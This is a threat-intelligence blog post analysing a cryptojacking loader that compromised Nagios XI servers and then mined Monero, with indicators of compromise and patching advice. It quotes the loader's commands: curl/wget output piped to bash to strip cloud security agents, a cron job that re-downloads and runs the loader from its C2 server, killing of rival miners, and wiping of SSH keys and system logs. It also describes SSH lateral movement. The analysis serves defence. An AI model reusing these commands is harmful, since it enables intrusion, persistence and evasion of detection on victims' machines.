Carbine Loader Cryptojacking Campaign

Lacework LabsApril 13, 202110 min read
Tom Hegel
Cloud Security Researcher, Lacework Labs

Carbine Loader Cryptojacking Campaign
Lacework Labs recently came across an interesting shell script that’s part of an opportunistic Cryptojacking (T1496) campaign. This campaign operated through the remote code execution of public facing Nagios XI applications. We have dubbed the loader script “Carbine Loader” during our clustering process.

As background context, Nagios Core is a free and Open Source IT infrastructure monitoring solution, while Nagios XI is a commercially available UI system framework built on top of Nagios Core. The activity observed in this blog is isolated to targeting of Nagios XI and its associated addons. Based on open source data (Shodan/Censys), up to roughly ten thousand Nagios servers are publicly accessible globally, with the majority being hosted on AWS.

Key Points:

  • Opportunistic actors targeted public facing Nagios, Nagios Docker Wizards, and Nagvis Nagios visualization addons for remote code execution.
  • Carbine Loader consists of generally publicly available and widely circulated functionality to infect, gain persistence, and spread laterally through SSH.
  • Vulnerability scanning against targets was conducted through the same C2 infrastructure configured in the loader samples observed.

All IOCs can be found on the Lacework Labs GitHub. Also, please follow @LaceworkLabs Twitter to keep up with our latest research.

Exploit / Initial Infection

The attack process:

  1. Attacker scans public infrastructure for Nagios RCE n-day vulnerabilities. RCE (T1190) attempt is made, downloading loader (shell script) (T1059.004) from C2 server. Loader downloads/configures XMRig miner, sets persistence through cron(T1053.003), spreads laterally through SSH access (T1024.004), and cleans up evidence of actions.
  2. Initial infection methods for this campaign could vary due to the variety of widely available exploits for Nagios XI vulnerabilities. However, as of the writing of this blog, some infections potentially happened through CVE-2021-3193, CVE-2017-6393 and other Nagios associated vulnerabilities.
  3. CVE-2021-3193 allows an unauthenticated attacker to perform remote code execution (RCE) through the Nagios Docker Config Wizard versions below 1.1.2, which is available through Nagios XI 5.7.

Some users on the Nagios support forum happened to be compromised by the campaign in the previous months. In one case, the user noticed the CPU load average reaching critical use – an indication of post-compromise cryptojacking. In another case, a user reported the suspicious inbound requests to their Nagios XI host. These requests were isolated to Nagios XI, Nagios Docker Wizard, and the NagVis Nagios visualizer.

Loader Analysis

The loader infection process and overall functionality can be broken down into a few simple steps.

Configured Hugepages on the victim machine, which is not incredibly useful but relevant to add for mining efficiency context. This simply provides the miner with an improved mining permormance.

1 2 3 ulimit -u 50000 echo 128 > /proc/sys/vm/nr_hugepages sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

Next the loader executes a function in an attempt to evade detection by uninstalling monitoring agents for Tencent Host Security (YunJing) and the Threat Detection Service (Aegis) from Alibaba Cloud. Lacework has observed this function being openly reused across various cloud targeting threats, such as the H2miner botnet, TeamTNT, and Rocke Group.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if ps aux | grep -i '[a]liyun'; then (wget -q -O -||curl -s|bash; lwp-download /tmp/; bash /tmp/ (wget -q -O -||curl -s|bash; lwp-download /tmp/; bash /tmp/ pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/ /usr/local/qcloud/YunJing/ /usr/local/qcloud/monitor/barad/admin/ fi sleep 1 echo "DER Uninstalled" }

Next, the loader executes a function to remove competing Cryptojacking files and processes. The majority of the removed files are in /var/tmp/ and /tmp. This list, which is again reused across many scripts floating around, gives an idea to the number of opportunistic “Cryptojackers” being used across the threat landscape.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 b(){ pkill -f curl pkill -f /tmp/avalonsaber chattr -i /tmp/avalonsaber rm -rf /tmp/avalonsaber rm -rf /usr/bin/config.json rm -rf /usr/bin/exin rm -rf /tmp/wc.conf rm -rf /tmp/avalonsaber rm -rf /tmp/log_rot rm -rf /tmp/apachiii rm -rf /tmp/sustse rm -rf /tmp/php rm -rf /tmp/p2.conf rm -rf /tmp/pprt rm -rf /tmp/ppol rm -rf /tmp/javax/ rm -rf /tmp/javax/sshd2 rm -rf /tmp/.profile rm -rf /tmp/ rm -rf /tmp/kworkerds rm -rf /tmp/kworkerds3 rm -rf /tmp/kworkerdssx rm -rf /tmp/xd.json rm -rf /tmp/syslogd rm -rf /tmp/syslogdb rm -rf /tmp/65ccEJ7 rm -rf /tmp/jmxx rm -rf /tmp/2Ne80nA rm -rf /tmp/dl rm -rf /tmp/ddg rm -rf /tmp/systemxlv rm -rf /tmp/systemctI rm -rf /tmp/.abc rm -rf /tmp/osw.hb rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/.java rm -rf /tmp/.omed rm -rf /tmp/.tmpc rm -rf /tmp/.tmpleve rm -rf /tmp/.tmpnewzz rm -rf /tmp/gates.lod rm -rf /tmp/conf.n rm -rf /tmp/devtool

The loader will then inspect running processes on the victim host and kills any consuming more than 50% of the CPU. Immediately after, the kill_sus_proc() function will run, which kills running processes it finds suspicious as a defense mechanism. This includes phpguard,, phpupdate, or networkmanager. These processes are likely associated with the WatchDog Cryptojacking campaign.

Now we move on to the more interesting tasks - such as setting persistence. The loader sets ths URL variable to the malicious C2 server, which in this case is URL="", immediately followed by unlocking cron, setting a beacon via cron for every twenty minutes, then locking cron again. The beacon is set to be either a curl or wget request to ${URL}/ This essentially downloads the same loader for execution if removed without sanitizing cron - a basic persistence mechanism.

1 2 3 4 5 URL="" unlock_cron echo "*/20 * * * * (curl -fsSL ${URL}/||wget -q -O- ${URL}/|/bin/bash" | crontab - lock_cron

OS version checking is performed next. This is done through a simple uname check for x86_64x or amdx. For x86 the file /h1 is downloaded from the set C2 host ($URL), and /h2 for amdx. In both bases, the downloaded file is saved as/tmp/avalonsaber, added executable permissions with chmod +x, and sets nohup to ensure download continues despite a logout.

Avalonsaber is the miner software, which at this point is downloaded onto the victim host. An XMRig “Rig Identifier” is set as a random three digits and the mining server is set to Errors are set to be discarded by using >/dev/null 2>;&1 and lastly /tmp/avalonsaber is set as immutable with chattr +i.

Now that the cryptojacking has begun, the attacker seeks out additional tasks valuable to their campaign. For example, at this point the loader performs lateral movement by enumerating /root/.ssh/known_hosts and then /root/.ssh/ for opportunities to access other systems from the victim host. This approach is not new, but it continues to work quite well at downloading and executing the script on other hosts to expand the victim list and mining performance.

Finally, the remaining tasks are simply cleaning up the evidence of activity by writing 0’s through the echo command to various areas of the victim host. This includes SSH authorized_keys, spool mail (root), and logs of wtmp secure and cron. This is all an effort to make investigations and response more difficult for victims, especially with regards to the lateral movement via SSH.

1 2 3 4 5 echo 0>/root/.ssh/authorized_keys echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron

Please note, the files 4ae513b6f46132aec7d1c268e6ee981af1ac0ab6d92c448c7c9bdedd63e3c303 and 5f19a959b36c2696ef95873017b48ab03c3ae83ecae2ea5092a30fb6179f5c7c are very similar, with the latter including the addition of to /etc/hosts - potentially an older version of the original loader. Additionally, 67ce0dbe860841a70026de673be1a5fc5062e293dbfb05564bb8eb489ce56c44 is available publicly, which contains a loader configured with the alternate C2 server ( which happens to also lack the randomized Rig ID configured.

Miner Analysis

As noted in the script analysis section, the victim will either download an h1 or h2 file from the C2 server, saved as “avalonsaber”. These files are packed XMRig miners, such as the amdx h2 b0a7aa88d5db826b95a1c53e92dd19b7cfe4fb87fbd218a16d170c1644d57b0b which unpacked isd6e77ec049176143afdc4f602f8764e001ebfcbe9f9ffb2aa1417b74d5818c61.

The downloaded miner is XMRig version 6.7.0. The configured mining pool is over port 443 for TLS. Notably, the set wallet address is 42BhDhviGfsaQeYy2t5eGxPnuuFgmwARbbHm2XzcCxVzU9WjHSLWmmoXcYVQERATYhjHK6zthSzSRD7h5HKKAgfXKr1Abk1 and an XMRig donation level of 0%.

Inspecting the wallet shows the attacker mined about 2.7 XMR which is roughly a disappointing $900 in today's value. Additionally, we can see the payment activity of the mining pool to the attackers wallet.


Reviewing the infrastructure associated with this campaign yields helpful insights. The original C2 destination ( resolved to (Choopa LLC) in January, then to (CNSERVERS LLC) for the tasks of its campaign. The domain itself is supplied through the ChangeIP dynamic DNS service.

The related loaders use the C2 server, which also began actions in January 2021, resolving to (LG DACOM). Again, the dynamic domain is provided through the ChangeIP service.

As previously mentioned, the C2 infrastructure was used for both vulnerability scanning target hosts in addition to to delivering the associated loader.


Nagios administrators should immediately update both the Nagios XI 5.8 and Docker Config Wizard 1.1.2. Heavy considerations should also be made for the necessity of publicly accessible Nagios applications for defense against future vulnerabilities. As can be seen on the Disclosed Vulnerabilities page, there is a vast opportunity to compromise publicly accessible unpatched Nagios products.

Indicators of Compromise

1 2 3 4 5 6 7 8 9 10 11 4ae513b6f46132aec7d1c268e6ee981af1ac0ab6d92c448c7c9bdedd63e3c303 5f19a959b36c2696ef95873017b48ab03c3ae83ecae2ea5092a30fb6179f5c7c b0a7aa88d5db826b95a1c53e92dd19b7cfe4fb87fbd218a16d170c1644d57b0b 5f19a959b36c2696ef95873017b48ab03c3ae83ecae2ea5092a30fb6179f5c7c 67ce0dbe860841a70026de673be1a5fc5062e293dbfb05564bb8eb489ce56c44 ---

All IOCs can be found on the Lacework Labs GitHub. Also, please follow @LaceworkLabs Twitter to keep up with our latest research.


Suggested for you